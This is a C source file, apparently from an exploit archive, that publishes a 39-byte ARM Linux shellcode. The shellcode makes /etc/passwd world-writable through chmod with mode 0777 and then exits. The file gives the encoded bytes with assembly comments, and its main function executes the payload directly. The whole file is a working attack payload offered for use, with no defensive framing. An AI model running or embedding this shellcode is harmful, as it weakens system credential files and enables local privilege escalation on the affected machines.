/* 
    Title       : Linux/ARM - chmod("/etc/passwd", 0777) - 39 bytes
    Date        : 2013-09-04
    Author      : gunslinger_ (yuda at cr0security dot com)
    Tested on   : ARM1176 rev6 (v6l)
    
    An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.
    
    Cr0security.com
    
*/
#include <stdio.h>

char *shellcode = "\x01\x60\x8f\xe2"    // add  r6, pc, #1
                  "\x16\xff\x2f\xe1"    // bx  r6
                  "\x78\x46"            // mov  r0, pc
                  "\x10\x30"            // adds  r0, #16
                  "\xff\x21"            // movs  r1, #255  ; 0xff
                  "\xff\x31"            // adds  r1, #255  ; 0xff
                  "\x01\x31"            // adds  r1, #1
                  "\x0f\x37"            // adds  r7, #15
                  "\x01\xdf"            // svc  1
                  "\x40\x40"            // eors  r0, r0
                  "\x01\x27"            // movs  r7, #1
                  "\x01\xdf"            // svc  1
                  "\x2f\x65\x74\x63"    // .word  0x6374652f
                  "\x2f\x70\x61\x73"    // .word  0x7361702f
                  "\x73\x77"            // .short  0x7773
                  "\x64";               // .byte  0x64

int main(){
    fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}